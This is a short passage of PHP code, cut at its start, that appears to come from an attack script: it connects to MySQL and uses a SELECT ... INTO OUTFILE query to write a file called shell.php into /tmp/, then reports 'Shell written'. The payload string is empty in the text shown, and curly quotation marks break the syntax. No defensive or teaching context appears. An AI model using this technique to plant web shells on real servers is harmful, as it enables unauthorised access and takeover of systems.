connect_error) { die(“Connect Error: ” . $mysqli->connect_error); }
// Write shell to /tmp/
$shell = ““;
$mysqli->query(“SELECT ‘{$shell}’ INTO OUTFILE ‘/tmp/shell.php'”);
echo “Shell written to /tmp/shell.php”;
$mysqli->close();
} catch (Exception $e) { echo “Error: ” . $e->getMessage(); }
?>